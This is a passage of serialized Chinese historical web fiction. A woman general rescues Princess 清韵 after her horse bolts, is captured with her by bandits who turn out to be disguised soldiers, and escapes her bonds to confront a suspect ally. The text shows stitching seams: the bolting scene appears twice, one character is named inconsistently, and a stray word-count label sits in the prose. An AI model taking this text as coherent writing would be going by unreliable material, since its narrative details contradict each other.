茅清兮……是这样的吗? 在他印象里,茅清兮永远是冷若冰霜的,像一尊没有感情的玉雕,让人不敢靠近。 可茅飞羽口中的她,却多了几分烟火气,甚至……还有几分恶作剧的意味。 这让他觉得陌生,却又忍不住想要了解更多。 “踏踏踏……” 突然,一阵急促的马蹄声,打破了两人之间的对话。 官道上,尘土飞扬,两道人影策马疾驰而来,一前一后,如同两支离弦的箭,带着锐不可当的气势。 “吁——” 眼看就要撞上马车,领头那匹马猛地人立而起,前蹄高高扬起,几乎要踢到车辕。 茅清兮眼疾手快,猛地一勒缰绳,硬生生止住了马的冲势,堪堪停在了马车前。 她手腕一抖,驾驭着烈马在原地转了个圈,稳稳站定,动作行云流水,一气呵成。 茅清兮转过身,看向紧随其后的清韵公主,唇角微微勾起: “公主,这次,是我赢了。” 声音清冽,带着一丝胜利者的骄傲。 “你啊,迟早有一天要栽在马蹄子上!” 清韵公主没好气地瞪了她一眼,语气里却带着一丝赞赏。 两人赛马,谁先到马车边,谁便赢。 茅清兮的马不如清韵的汗血宝马,但她却另辟蹊径,选择了最冒险的方式——在即将撞上马车的瞬间,强行勒马。 这需要极高的骑术和胆量,稍有不慎,就会人仰马翻。 清韵自问做不到,被打得心服口服。 不过,想到茅清兮那深不可测的武功,她又觉得输给她,没什么好丢脸的。 “小的们给公主请安。” 乐雅书和刁明远几乎同时下马,躬身行礼。 清韵公主的目光在两人身上扫过,有些意外: “咦,你们怎么也在这?” “回公主,臣与林公子出城踏青,偶遇宋小公子,便结伴而行。” 乐雅书垂首回答,态度恭敬。 清韵公主“哦”了一声,点了点头,随即兴致勃勃地掀开车帘,冲着里面喊道: “韩长华,别闷在里面了,出来骑马!” “臣……不擅骑术。” 韩长华的声音从车厢内传来,带着明显的抗拒。 “怕什么!本公主罩着你!” 清韵公主可不管那么多,不由分说,一把将那人从马车中揪出,动作粗鲁。 “公主殿下,这……不合规矩,使不得!” 韩长华被她拉得一个踉跄,差点摔倒,急忙开口阻止,声音里带着一丝慌乱。 可清韵公主哪里会听他的,直接将马鞭塞进他手里: “上去试试!” 韩长华看着眼前的汗血宝马,又看了看清韵公主,满脸无奈,像一只被逼上梁山的兔子: “公主……” “韩长华,本公主不想重复第二次!” 清韵公主脸色一沉,语气强硬,不容置喙。 “公主,沈大人怕是骑不了这烈马” 乐雅书见韩长华脸色发白,冷汗直冒,连忙开口。 “不如让他试试我的马,温顺些” 乐雅书指着自己那匹枣红马。 清韵公主顺手接过乐雅书的缰绳,将枣红马换给了韩长华。 韩长华如蒙大赦,但依旧僵硬,像一块木头。 他小心翼翼地爬上马背,双手死死抓住缰绳,身体紧绷,仿佛一碰就会碎掉。 清韵公主见他这副“胆小如鼠”的模样,忍不住“扑哧”一声笑了出来: “沈大人,你平日里不是挺能说的吗?怎么现在连匹马都怕?要不要本公主抱你上去?” 韩长华紧紧抿着唇,脸色一阵青一阵白,所有的注意力都放在如何保持平衡上,根本没听清清韵公主说了什么。 清韵公主见他这副“怂样”,撇了撇嘴,觉得无趣,但看着他那战战兢兢的模样,又觉得十分滑稽。 “飞羽,到你,过来。” 另一边,茅清兮朝茅飞羽招了招手,示意他过来。 “我……我不想学,我有马车……” 茅飞羽往后缩了缩,小声嘟囔着,试图逃避。 茅清兮眼神一凛,淡淡地扫了他一眼,目光如刀。 茅飞羽立刻闭上了嘴,一脸苦相,却不敢再反驳,像一只被拔了毛的鹌鹑。 他可怜巴巴地看向刁明远,希望他能帮自己说几句话。 然而,刁明远却低着头,目光躲闪,似乎不敢与茅清兮对视,更别提替他解围了。 茅清兮见状,也没说什么,直接伸手将茅飞羽拎起来,像拎小鸡一样,放到马背上,然后自己也翻身上马,坐在了他身后。 两人身体紧贴,茅飞羽顿时感觉浑身不自在,如坐针毡。 茅清兮平时总是冷冰冰的,拒人于千里之外,可此时此刻,他却感觉到她的身体……很柔软,还带着一丝淡淡的香气。 他从小到大,从未与人如此亲近过,一时间,竟有些手足无措,耳根微微泛红。 第一百一十三章 “坐好,别乱动,跟个泥鳅似的。” 茅清兮的声音突然响起,带着几分不耐烦。 “我……我们……男女有别!” 茅飞羽被她一吓,顿时炸了毛,口不择言地喊道,声音都变了调。 “小屁孩,毛都没长齐。” 茅清兮轻笑一声,语气里带着几分轻蔑,仿佛在嘲笑他的不自量力。 茅飞羽感觉自己受到了极大的侮辱,小脸涨得通红,像煮熟的虾子: “我……我才不是小孩子!我已经长大了!你……你别太过分!” 他结结巴巴地说着,试图维护自己男子汉的尊严。 “那你倒是说说,男女之间,该如何‘有别’?” 茅清兮的声音里带着一丝戏谑。 “七岁……就该避嫌!你……你难道不懂吗?还是说……你家里没人教过你这些?” 茅飞羽一股脑地喊了出来,话一出口,他便猛地顿住,意识到自己说错了话。 他不知道茅清兮听到这话会是什么反应,心中一阵懊恼,恨不得给自己一巴掌。 他不该提起茅清兮的家人。 她的母亲早已去世,父亲也从不关心她,根本不会有人教她这些。 “等你什么时候把胡子刮干净了,再来跟我讨论这些问题吧。” 茅清兮的声音依旧平淡,听不出喜怒,仿佛根本不在意他的冒犯。 茅飞羽暗暗咬紧牙关,以后可不敢瞎说了,生怕再次惹怒她。 茅清兮见他安静下来,这才开始耐心地教他骑马。 茅飞羽一直被祖母和骆姨娘娇惯着,四体不勤,五谷不分,连匹马都驾驭不了,实在不像话。 虽是太平盛世,但边疆战火从未真正平息。 身为青霜将军的儿子,他不能如此没用。 刁明远抬起头,怔怔地望着茅清兮带着茅飞羽缓缓远去的身影,心中五味杂陈,仿佛打翻了调味瓶。 他不敢靠近。 那日,茅清兮在陆府决绝的话语,如同一把尖刀,狠狠地插在他的心上,让他痛不欲生。 这些日子,他努力压抑着自己的感情,强迫自己不去想她,不去见她,以免做出让自己后悔终生的事情。 然而,此刻再次见到茅清兮,他的心,还是乱了,像一团被风吹散的柳絮,飘忽不定。 “啊——” 突然,一声凄厉的尖叫划破长空,打破了这凝滞的气氛,让人心惊肉跳。 茅清兮猛地转头,只见清韵公主的马不知为何突然发狂,嘶鸣着朝旁边的树林里冲去,速度快得惊人。 那马双目赤红,尾巴疯狂甩动,像一头发了疯的野兽,横冲直撞,眨眼间便消失在了密林深处,不见踪影。 出事了! 茅清兮脸色骤变,当机立断,将茅飞羽从马背上拎下来,扔给一旁候着的车夫,随后双腿一夹马腹,催动胯下骏马,如离弦之箭般朝清韵公主的方向追去,速度快如闪电。 与此同时,另有两道身影,也紧随其后,飞快地跟了进去,一人在前,一人在后,正是乐雅书和韩长华。一声尖利的嘶鸣划破天际,惊得林中鸟雀四散。 清韵公主的汗血宝马突然发狂,如离弦之箭般冲入密林深处,转眼间便消失了踪影。 “不好!” 茅清兮脸色骤变,几乎是出于本能,她将吓傻了的茅飞羽一把推给车夫,厉声吩咐:“看好他!” 话音未落,她已猛地一夹马腹,朝清韵公主消失的方向追去。 电光火石之间,另有两道身影也做出了反应。 乐雅书直接抢过刁明远的马,紧随茅清兮身后。 韩长华则晚了一步,但他没有丝毫迟疑,策马狂追。 三人一前两后,如三道闪电,划破了这片宁静的山林。 茅清兮一路疾驰,风声在耳边呼啸,两侧的树木飞速倒退。 她的心,提到了嗓子眼,只盼着清韵公主千万不要出事。 等她冲出密林时,却只来得及看到那匹失控的汗血宝马,如断了线的风筝般,直直坠下悬崖。 心,猛地一沉,仿佛坠入了无底深渊。 茅清兮几乎以为清韵公主已遭不测,但她敏锐地捕捉到了一丝异样——悬崖边,还静静地停着两匹马。 那是韩长华和乐雅书的坐骑。 如果真出了事,不可能三个人都…… 除非……他们提前下了马! 茅清兮的目光如鹰隼般扫过四周,多年的战场经验让她迅速做出判断。 最终,在一处被压倒的灌木丛中,发现了端倪。 她没带俞霜,但清韵公主身边的侍卫也不是吃素的,这会儿也已循着马蹄印追了上来。 几名侍卫见到悬崖边的狼藉,顿时面如土色,双腿发软。 若是清韵公主有个三长两短,他们这些人,一个都别想活! “这……” 侍卫首领嘴唇哆嗦着,显然已是六神无主,平日里的训练有素,此刻全化作了惊慌失措。 茅清兮深吸一口气,强迫自己冷静下来。 她没有时间去安慰他们,必须立刻找到清韵公主! 她顺着那片被压倒的灌木丛,向悬崖下方望去,沉声下令: “你们几个,沿着这条痕迹往下搜!这位千金八成是从这边摔下去的!” “其他人,绕到悬崖下方,两面夹击!活要见人,死要见尸!” 没有丝毫犹豫,茅清兮循着痕迹,一跃而下。 她身形轻盈如燕,脚尖在凸起的树根、垂下的藤蔓上借力,几个起落间,便已深入崖下密林。 越往下,植被越是茂密,视线也越发昏暗。 但茅清兮不敢有丝毫放松,她仔细地辨认着每一处痕迹,不放过任何一个可能。 终于,前方出现了人影。 一个男子背对着她,正微微俯身,似乎在查看什么。 而他身旁,躺在地上的,赫然便是清韵公主! 茅清兮的心跳漏了一拍,她三步并作两步赶上前,待看清那男子的脸,又是一怔:“乐公子?” 她的视线,不由自主地扫过乐雅书身前——那里,还躺着另一个人,韩长华,同样人事不省。 乐雅书缓缓站直身体,他抬手抹了一把额头上的汗珠,脸上带着几分如释重负,几分疲惫,声音沙哑: “冀夫人,你总算来了……” 他顿了顿,才接着道: “公主和沈大人……都摔晕过去了。” 茅清兮没有立刻接话,她蹲下身,迅速检查两人的情况。 清韵公主呼吸平稳,除了几处擦伤,并无大碍。 韩长华的情况则要严重得多,他的左腿以一种诡异的角度扭曲着,显然是骨折了。 她不动声色地看向乐雅书,他身上也有伤,但都是些皮外伤。 “乐公子是如何找到这里的?”茅清兮问,语气平静。 乐雅书似乎没想到她会这么问,愣了一下,才回答: “我听到马蹄声,就一路追了过来,看到公主和沈大人摔下悬崖… 第一百一十四章 …” 他指了指一旁的斜坡: “我从那边绕下来的。” 茅清兮顺着他指的方向看去,那是一处相对平缓的斜坡,但依旧十分陡峭。 这时,清韵公主的侍卫们也陆续赶到。 见自家主子安然无恙,侍卫们悬着的心总算放下了一半,连忙就要将人抬回城中。 “等等。” 乐雅书突然开口, “此处离城尚远,不如先去附近的安泰县,请庾太医为公主诊治。” 他补充道: “庾太医上月告老还乡,就住在安泰县。” 侍卫们面面相觑,一时拿不定主意。 毕竟,乐雅书的身份特殊,他们不敢轻易反驳。 “冀夫人,您意下如何?”乐雅书看向茅清兮。 茅清兮心中冷笑,面上却不动声色。 她早已将清韵公主的伤势看了个清楚,并无大碍,乐雅书这么说……只怕是另有目的。 “乐公子说得有理。” 茅清兮淡淡道, “就依乐公子所言,先去安泰县。” 侍卫们见茅清兮也同意了,便不再多言,听从安排。 几人合力将清韵公主和韩长华抬上马车,调转方向,往安泰县而去。 没过多久,巍峨的城墙便已遥遥在望。 可就在这时,四面八方突然涌出一群手持刀剑的汉子,把他们包饺子似的围了个水泄不通。 “什么人?!” 乐雅书厉声喝问。 茅清兮却早已暗中提高了警惕。 这群人,来者不善。 为首的,是一个眼角处有一道狰狞刀疤的男子,他狞笑着,露出满口黄牙, “想让你们见阎王的家伙!” 话音未落,他身后的喽啰们便挥舞着刀剑,步步紧逼。 “慢着!” 乐雅书大喝一声, “诸位好汉,可是求财?我们有的是银子,若是你们愿意网开一面……” “银子?” 虎眼汉像是听到了什么笑话,仰天大笑, “老子要的,可不止是银子!” 他身旁,一个贼眉鼠眼的精瘦男子忽然凑到他耳边,低声道: “头儿,那马车……好像是长公主府的!” “长公主?” 虎眼汉的眼睛,顿时亮了起来, “这回,咱们可真是要发大财了!” 他舔了舔嘴唇,眼中闪烁着贪婪的光芒。 茅清兮不动声色地将乐雅书的反应尽收眼底。 她注意到,乐雅书的身体微微紧绷,眼神闪烁不定,似乎在盘算着什么。 “杀!” 虎眼汉一声令下,喽啰们如狼似虎般扑了上来。 “保护公主!” 侍卫们拔出佩刀,与这群悍匪战作一团。 然而,他们人数太少,又带着伤员,很快便落了下风。 “姐!救我!” 混乱中,茅飞羽的尖叫声,格外刺耳。 茅清兮定睛一看,只见一个喽啰趁乱抓住了茅飞羽,正要将他拖走。 “找死!” 茅清兮眼神一凛,一个箭步冲上前,一脚踢在那喽啰的胸口。 “噗!” 那喽啰口喷鲜血,倒飞出去,撞倒了一片人。 茅清兮趁机将茅飞羽拉到身后。 可就在这时,更多的喽啰围了上来,他们挥舞着刀剑,招招狠辣。 茅清兮不得不分心保护茅飞羽,一时间,险象环生。 “姐姐!小心!” 茅飞羽惊恐的叫声中,茅清兮的后背,结结实实地挨了一刀。 鲜血,瞬间染红了她的衣衫。 “姐!” 茅飞羽吓得魂飞魄散,他想去扶茅清兮,却被她一把推开。 “别过来!” 茅清兮的声音,嘶哑而决绝。 她知道,自己不能倒下,一旦她倒下,茅飞羽,还有清韵公主,都将落入这群匪徒手中。 她咬紧牙关,挥舞着手中的刀,拼死抵抗。 然而,双拳难敌四手,更何况,她还带着一个累赘。 终于,在又一次格挡时,茅清兮的动作慢了半拍。 一把刀,狠狠地砍在了她的肩头。 剧痛,让她眼前一黑。 “姐!” 茅飞羽撕心裂肺的哭喊声,在耳边回荡。 茅清兮,却再也无力支撑,缓缓地倒了下去。 “把他们都给老子绑起来!” 虎眼汉狞笑着,指挥着手下。 几个人七手八脚地将茅清兮和茅飞羽五花大绑。 另一边,清韵公主的侍卫们,也早已寡不敌众,被一一擒获。 这群人,显然是有备而来。他们将茅清兮一行人全部捆绑起来,押着他们,沿着一条蜿蜒的羊肠小道,穿过安泰县外的山林,一路向上。最终,他们来到了一处隐蔽的山寨。 让茅清兮感到震惊的是,这山寨里,竟然还聚集着近千人!这些人,大多穿着粗布短打,有的甚至赤裸着上身,露出一身虬结的肌肉。 “老大,这次抓的是哪家的肥羊啊?” “这小娘们长得可真俊,给爷们乐呵乐呵?” 当他们的目光落在茅清兮和清韵公主身上时,顿时,一个个眼睛都直了,露出了毫不掩饰的淫邪之色。 “去去去!都给老子滚一边去!” 虎眼汉不耐烦地挥了挥手, “这可是公主!咱们这回,要干一票大的!” “公……公主?!” 众人闻言,顿时一片哗然。 “哪个是公主?” 虎眼汉的目光,在茅清兮和清韵公主之间来回扫视。 二人皆是一身骑马行头,为了方便骑马,穿得都十分简洁干练,一时间,还真不好分辨。 茅清兮抢在乐雅书开口前,高声道: “我就是!你们这些乱臣贼子,还不快快放了本公主!否则,定叫你们死无葬身之地!” 她故意做出一副骄横跋扈的样子,用轻蔑的眼神,狠狠地瞪着虎眼汉,试图激怒他。 “呦呵,口气还不小!” 虎眼汉被她激怒了,他走上前,用刀背狠狠地拍了拍茅清兮的脸颊, “小娘们,落到老子手里,还敢这么嚣张?信不信老子现在就……” 他的话还没说完,茅清兮便“呸”的一声,一口唾沫吐在了他的脸上。 “你找死!” 虎眼汉勃然大怒,他一把抓住茅清兮的衣领, “给我把这位大小姐单独关进小黑屋!其他人,都给老子押到后山去!” “姐!姐!” 茅飞羽见茅清兮要被带走,顿时急了,他拼命挣扎着,哭喊着。 然而,茅清兮却像是没听见似的,头也不回的,被押走了。茅清兮被绑在草屋的柱子上,肩膀上的伤口火辣辣地疼。每一次呼吸,都牵动着那道狰狞的伤口,疼得她额头冒出细密的冷汗。 山间的风从破旧的窗棂间灌进来,带着潮湿的寒意。屋内昏暗潮湿,角落里堆着发霉的稻草,散发出一股腐朽的气息。 那道伤口是方才一个大汉的刀造成的。刀锋毫不留情地穿透了她的肩膀,鲜血顺着衣襟蔓延,将白色的衣裳染得殷红一片。 山匪们顾及她公主的身份,请了位大婶帮她敷药。 第一百一十五章 那民妇看上去四十出头,面容饱经风霜,眼神中带着几分怨恨。 “这伤口太重了,这点草药”民妇看着那狰狞的伤口,声音都在发抖。她手里捏着几片青黄色的草药,神色迟疑。 茅清兮强忍着痛意,声音有些沙哑:“没事,先上药吧。”她能感觉到自己的体温在升高,如果再不处理伤口,恐怕会发热。 民妇将草药揉碎,小心翼翼地敷在伤口上。药汁渗入伤口的瞬间,茅清兮只觉得一阵钻心的疼痛。 “嘶”她倒吸一口冷气,额头上瞬间布满了冷汗。指甲深深地陷入掌心,留下几道月牙形的痕迹。 她咬紧牙关,不让自己发出任何声音。但那种钻心的疼痛还是让她脸色惨白,连嘴唇都失去了血色。 民妇看着她强忍痛苦的模样,眼中闪过一丝不忍:“我们也是被逼无奈,若不是你们这些权贵欺人太甚,我们也不会沦落至此。”她一边说着,一边用布条包扎伤口。 茅清兮抬眼看她,眸中带着雾气:“你们这群乌合之众,还敢在京城附近” 话未说完,她忽然意识到了什么,瞳孔微微一缩。 这里距京城如此之近,这些山匪却能聚集两千多人而不被发现?这完全不合常理。 民妇冷笑一声,转身离去。脚步声渐渐远去,留下茅清兮一人在昏暗的屋子里。 她靠在柱子上,思绪纷乱。锦衣卫、禁军,甚至三大营的任何一支,都足以剿灭这群山匪。但他们却能在此地安然无恙,这背后必有隐情。 随着时间推移,夜幕渐渐降临。山间的温度骤降,茅清兮的伤势愈发严重。那点草药根本无济于事,她全身发烫,意识开始模糊。 汗水浸透了衣衫,她觉得口干舌燥,却连一口水都没有。伤口处传来阵阵灼烧般的疼痛,让她忍不住轻轻呻吟。 就在这时,屋门被人重重踹开。木门撞在墙上发出一声巨响,惊得屋顶的灰尘簌簌落下。 虎眼汉拖着一个人走了进来,借着微弱的月光,茅清兮认出那是清韵公主。她的衣裳凌乱,发髻散乱,显然经历了一番挣扎。 “贱人,敢骗老子!”虎眼汉一把掐住茅清兮的脖子,粗糙的手掌如同铁钳般收紧。 茅清兮被勒得喘不过气,眼前一阵发黑。她想挣扎,但肩膀的伤让她使不上力气。 “李武住手!”一个叫邱默的男子冲进来拉住虎眼汉。他看上去二十出头,面容清秀,与其他山匪格格不入。 清韵挣扎着爬起来,声音带着几分颤抖却依旧倔强:“你若敢伤她,想从本小姐这捞一笔门都没有!” 虎眼汉狠狠地瞪了清韵一眼,眼中闪过一丝凶光。最终,他松开了掐着茅清兮的手。 茅清兮剧烈地咳嗽起来,喉咙火辣辣地疼。肩膀的伤口因为方才的挣扎又开始渗血,温热的液体顺着手臂流下。 “邱默,要不是老子,你和你娘早就死了!别来管老子的事!”虎眼汉甩开邱默的手,愤然离去。脚步声重重地踏在木地板上,震得整个草屋都在晃动。 等人都走后,清韵急切地问:“清兮,你怎么样?”她想靠近,却被绳子拦住。 茅清兮摇摇头,额头上的冷汗不停地往下淌。她觉得浑身发冷,却又烫得厉害。 “你为什么要冒充我?现在好了,我们都被困在这里了。”清韵又气又急,声音中带着几分责备。 茅清兮没有理会她的责备,而是问道:“他们是怎么发现你的身份的?”她的声音虚弱,却依旧保持着清醒。 “我也不知道,睁眼发现自己在这个地方。”清韵低下头,声音中带着几分困惑。 茅清兮眯起眼睛。三个时辰前她冒充清韵时,这些人并未起疑。现在却突然知道了真相,这其中必有蹊跷。 有人在暗中操控这一切。而这个人,很可能就是冲着清韵公主来的。 夜色渐深,草屋内一片寂静。只有风吹过树梢的沙沙声,和远处传来的狼嚎。茅清兮靠在柱子上,感受着体内越来越严重的灼热。 她知道,如果得不到及时救治,这个伤口很可能会要了她的命。但现在,她更关心的是背后那个暗中操控一切的人。 那个人为什么要抓清韵?又是如何得知她冒充清韵的事?这一切背后,又隐藏着什么样的阴谋? 清韵似乎也察觉到了事情的不寻常。她蜷缩在角落里,眼神中带着惊惶。作为公主,她从小锦衣玉食,何曾经历过这样的事? 邱默站在门外,月光洒在他的侧脸上。他时不时回头看一眼草屋,眼神中带着复杂的情绪。 夜风吹动他的衣袍,带来远处的脚步声。是换岗的山匪,他们举着火把,在山寨中巡逻。 火光映照在草屋的墙壁上,投下摇曳的影子。茅清兮望着那些影子,思绪渐渐模糊。她知道,这个夜晚,注定是个不眠之夜。 “章节字数”:4213夜色如墨,破败草屋内,茅清兮脊背僵硬地靠着木柱,脸色白得像一张随时会破碎的纸。 清韵公主紧挨着她,目光在她与紧闭的屋门间来回游移,眉心紧锁,忧虑几乎要凝成实质。 她们心知肚明,此刻逃跑无异于以卵击石,唯有期盼京城中人能尽早察觉异样,前来搭救。 “清韵,”茅清兮忽然开口,声音轻的像是怕惊扰了什么,“你怎会突然想起来今日跑马?” 清韵一怔,眼神中闪过一丝茫然,似乎在努力回想。 “因为天气好……?”她试探着开口,话音未落,却又猛地顿住,像是被什么扼住了喉咙。 “不对!”她脸色骤变,仿佛忆起了什么极为可怕的事情,声音都有些发颤,“是……是我身边的丫鬟,她说安泰县郊外有一片山林,这个时候最适合踏青……” 茅清兮微微侧头,追问道:“近身伺候你的,不都是从小一起长大的么?” 清韵脸色难看得像是吞了一只死苍蝇,嘴唇动了几下,才艰难开口:“前些日子……我那大丫鬟……没了。这是母亲从府中新挑的。” 她抬头看向茅清兮,目光碰撞间,震惊与愤怒交织。 长公主府是什么地方?竟然有人敢把手伸进来! “哪个吃了熊心豹子胆的……”清韵咬牙切齿,几乎是从牙缝里挤出这几个字。 茅清兮垂眸,指尖无意识地摩挲着粗糙的木柱,心中已隐约有了猜测,只是……这人究竟是如何瞒天过海,将手伸进长公主府的? 第一百一十六章 又为何要借这批流民之手,将她们掳来此地? 草屋内,死一般的寂静。 茅清兮和清韵都受了伤,失血和疼痛让她们连交谈的力气都没有。 时间,仿佛凝固了一般。 不知过了多久,天边终于泛起了一丝鱼肚白。 那些人依旧没有放她们出去的意思,只是在早晨和中午分别送来了一次食物。 硬得能硌掉牙的馒头,混着泥沙的凉水。 茅清兮和清韵却丝毫没有嫌弃,默默地将东西吃了个干净。 留得青山在,不怕没柴烧。 午后,刺眼的阳光透过破败的窗棂,在地面上投下斑驳的光影。 虎眼汉大步流星地带着几个人进来,直奔清韵。 “你们到底要干嘛!”清韵勉强站起来,色厉内荏。 虎眼汉狞笑着,一把扯过清韵腰间的玉佩:“小丫头片子,想活命就老实点!” 清韵惊呼着想阻止,却被两个人高马大的壮汉死死按住。 虎眼汉掂了掂玉佩,带着人扬长而去,重重地关上了门。 清韵颓然跌坐,眼中尽是恐惧:“他们拿这玉佩……难道是要要挟长公主府?” 茅清兮没说话,缓缓闭上眼。 她原以为,这不过是一群为财而来的流寇。 但现在,事情似乎没那么简单。 这些人的行动,隐隐透着军人的影子。 若只是乌合之众,绝不可能如此令行禁止。 这是一支……伪装成流寇的军队! 一支出现在京城外的……叛军! 他们的目的,究竟是什么? 茅清兮的心,一点点沉下去。 藏在身后的手指,微微颤抖。 虎眼汉拿走了玉佩,朝廷收到消息再派兵来,少说也要两三天。 这两三天,足够发生许多事了。 入夜,周围黑得伸手不见五指,只有不知名的虫子在鸣叫。 被绑了一天的茅清兮,动了。 清韵一直没睡,此刻瞪大了眼睛。 她惊讶地发现,茅清兮那双被捆得结结实实的双手,竟然挣脱了! “我……出去看看,”茅清兮声音很轻,“你留在这里。” “可是……你还受着伤……”清韵担忧。 “没事。”茅清兮说着,起身时却牵动了伤口。 “嘶——”她疼得直抽气,额头冒出一层冷汗。 她咬着牙忍耐,缓缓起身:“我得去……看看飞羽他们被关在哪儿,总得……摸清情况。” “那你……小心……”清韵知道,自己留在这儿,或许还能当个人质。 茅清兮轻轻推开门,一股冷风扑面而来。 门外,两个壮汉靠着门柱,打着瞌睡。 茅清兮屏住呼吸,捡起两块石头,手腕一抖,石子精准地击中两人后颈。 壮汉闷哼一声,倒了下去。 茅清兮闪身出门。 草屋周围,有流寇在轮流值守。 茅清兮贴着墙壁,借着夜色掩护,悄无声息地向后山移动。 她身形极快,几个起落就跃上树梢,避开了一队巡逻的流寇。 站在高处,茅清兮扫视四周。 除了这间草屋,附近还有几间破屋子,但看起来早就没人住了。 她估摸着,这山里少说也有两千多流寇,其中还混着不少军人。 这些军人,究竟是什么来头?又为什么跟流寇混在一起? 茅清兮的目光,落在了后山的一个山洞。 那里,似乎有火光。 她从树上一跃而下,融入夜色。 她的速度极快,几个呼吸间就到了山洞口。 洞口被两个人把守着。 茅清兮如法炮制,将人打晕,闪身进了山洞。 山洞里又阴又潮,还带着一股霉味。 茅清兮一眼就看到了被关着的茅飞羽他们。 他们比茅清兮还惨,一个个鼻青脸肿,手脚都被捆得死死的。 茅清兮刚进去,韩长华就睁开了眼。 他惊讶地看着茅清兮:“冀夫人?” 茅飞羽也被惊醒,惊喜地叫道:“姐!” “嘘!”茅清兮连忙示意他小声,上前查看他们的伤势。 韩长华连忙躲避:“冀夫人,男女授受不亲……” “我会医术。”茅清兮说。 “即便如此,也不能坏了夫人名节……”韩长华还在躲。 “姐,沈大人的腿断了。”茅飞羽急道。 茅清兮没再理会韩长华的推辞,一把摁住他的大腿。 韩长华躲闪不及,只能任由她施为。 “我姐简直就是大神,断腿也能接上!”茅飞羽颇为骄傲。 茅清兮没说话,仔细检查。 韩长华的腿和茅飞羽之前不一样,茅飞羽的只是脱臼,韩长华这是骨折,没有药物和工具,很难处理。 “沈大人这腿,得尽快回城医治,否则会留下病根。”茅清兮说。 “多谢冀夫人。”韩长华顿了顿,又问,“公主殿下可还好?” “她没事。”茅清兮皱着眉,扫视了一圈,“乐雅书呢?” “乐公子被他们带走了。”韩长华说。 茅清兮的心一沉。乐雅书被带走了?这些匪寇到底想做什么? “姐……你的伤……”茅飞羽看着茅清兮肩膀上的伤口,声音发颤。 茅清兮回过神,笑了笑:“没事,小伤。你们先待在这儿,我再想想办法。” 她一个人想走容易,但要带这么多人走,很难不被发现。 而且,就她这副样子,根本打不过那么多人。 “姐……”茅飞羽欲言又止。 茅清兮没再多说,转身出了山洞。 她必须尽快想出一个万全之策。 她一边往回走,一边思索。 这些匪寇里混着军人,事情恐怕没那么简单。 就在她快回到草屋时,突然看到一群人朝这边走来。 为首的,正是虎眼汉、邱默,还有……乐雅书! 茅清兮的心提到了嗓子眼。 这下,想悄无声息地回去是不可能了。 一旦被发现…… “清韵!” 就在这千钧一发之际,草屋的门突然从里面开了。 茅清兮想都没想,足尖点地,整个人如离弦之箭般冲了出去!“公主!” 乐雅书猛地推开门,带进一阵山野间特有的寒凉气息。他目光急切,几步跨到清韵面前,脸上是毫不掩饰的担忧。 “小的来晚了,让公主受苦。” 他这话还未落地,虎眼汉粗哑的嗓音已经炸雷般响起,震得破旧的木门都跟着颤了几颤: “他娘的,那个被捆着的妞儿去哪了?!” 乐雅书身形一僵,像是被施了定身术。他猛地回头,余光瞥见一道寒光闪过,紧接着便是一声凄厉的惨叫,划破了这凝滞的气氛。 “姑奶奶在这儿呢。” 清冷的声音如冰珠落玉盘,带着几分戏谑,几分不屑。虎眼汉只觉得一股寒气从脚底板直窜头顶,激得他浑身汗毛倒竖, 后背发凉。 他反应不可谓不快,几乎是下意识地拧身、侧步、挥刀,一气呵成。 第一百一十七章 试图格挡住未知的偷袭。 然而,还是迟了。 刀锋堪堪擦过一片衣角,带起一阵微弱的风。 茅清兮一击不中,却也并不纠缠。她足尖轻点门框,借力回旋,身姿轻盈如燕,稳稳地落在了清韵身前,仿佛一片飘落的羽毛。 乐雅书瞳孔微缩,脸色变幻不定,最终沉声道: “冀夫人。” 茅清兮没理他,手中长刀随意地一转,刀尖朝下,反手一撩,动作行云流水。 “唰——” 寒光闪过,清韵身上的绳索应声而断,干脆利落。 清韵活动着发麻的手腕,深吸一口气, 缓解着身体的不适,站到了茅清兮身后。她眼神冰冷,像淬了毒的箭,直直射向乐雅书, 毫不掩饰眼里的厌恶。 乐雅书却像是松了口气,急忙上前一步: “殿下平安无恙就好,这样草民也放心了。” 清韵冷笑,声音里满是嘲讽: “怎么,莫非你也是他们的同党?” “公主误会了。” 乐雅书脸上闪过一丝尴尬,但很快恢复了镇定。他微微躬身,姿态放得很低,语气诚恳: “小的说通他们了,他们答应放公主回去。” 说着,他还转向茅清兮,露出一个温和的笑容,像是在邀功: “其实,就算冀夫人不现身,小的也是为护送殿下归府。” 茅清兮挑眉,眼神冷冽如刀,上下打量着他: “哦?你倒是说说,你是怎么和他们搅和到一起的?他们居然没动你一根汗毛?难不成你有什么把柄落在他们手里?” 乐雅书被她看得有些不自在,但还是强自镇定。他微微一笑,解释道: “他们也是被逼无奈,才出此下策。生活所迫,落草为寇。草民已经答应为他们向朝廷申冤,而他们的条件,就是放了公主殿下。” “是吗?” 茅清兮的目光缓缓扫过他身后的虎眼汉和邱默。 邱默神色如常,似乎对乐雅书的话深信不疑,只是静静地站着。 虎眼汉却不同。他阴沉着脸,一双三角眼死死盯着茅清兮,凶光毕露,像是要从她身上剜下一块肉来,恨不得将她碎尸万段。 虎眼汉上前一步,声音粗粝沙哑,带着浓浓的威胁: “乐公子,我们信你。但这个小娘们来历不明,我们信不过!” “没错,”另一个喽啰附和道,“谁知道她是不是朝廷的探子?万一她通风报信……” 乐雅书眉头紧锁,他飞快地看了茅清兮一眼,又转向虎眼汉,语气急切: “你们若是执迷不悟,继续扣押公主,那才是自寻死路!官府定要将你们斩尽杀绝!” “哼,少废话!”虎眼汉粗暴地打断他,“殿下在我们掌控之中,我们才安心!有她在,朝廷才不敢轻举妄动!” “你们……”乐雅书还想再说些什么,却被邱默拦住了。 邱默上前一步,语气平静: “在下信得过乐公子。乐公子素有‘端方君子’之称,竟出身名门望族,在下信得过乐公子的人品,更何况乐公子还答应替我们写陈情书。” 虎眼汉看看邱默,又看看乐雅书,目光闪烁不定,似乎在权衡利弊。 最终,他的视线落在了茅清兮身上,眼神阴鸷: “公主可以走,但这个小娘们,必须留下!她得当人质!” “不行!要走一起走。” 清韵想都没想,斩钉截铁地拒绝。她虽然害怕,但绝不会丢下茅清兮。 乐雅书脸色一变,闪过一丝阴郁。他急忙压低声音劝道: “公主,大局为重!他们不敢伤害冀夫人的,只是做做样子。咱们先脱身,再从长计议……” “闭嘴!”清韵怒斥一声,毫不留情地打断他,“你若是贪生怕死,现在就可以滚!本宫绝不会丢下自己的救命恩人!” 乐雅书被她当众驳斥,脸色一阵青一阵白,难看到了极点。 虎眼汉见状,反而咧嘴笑了,笑声嘶哑难听,如同夜枭啼叫: 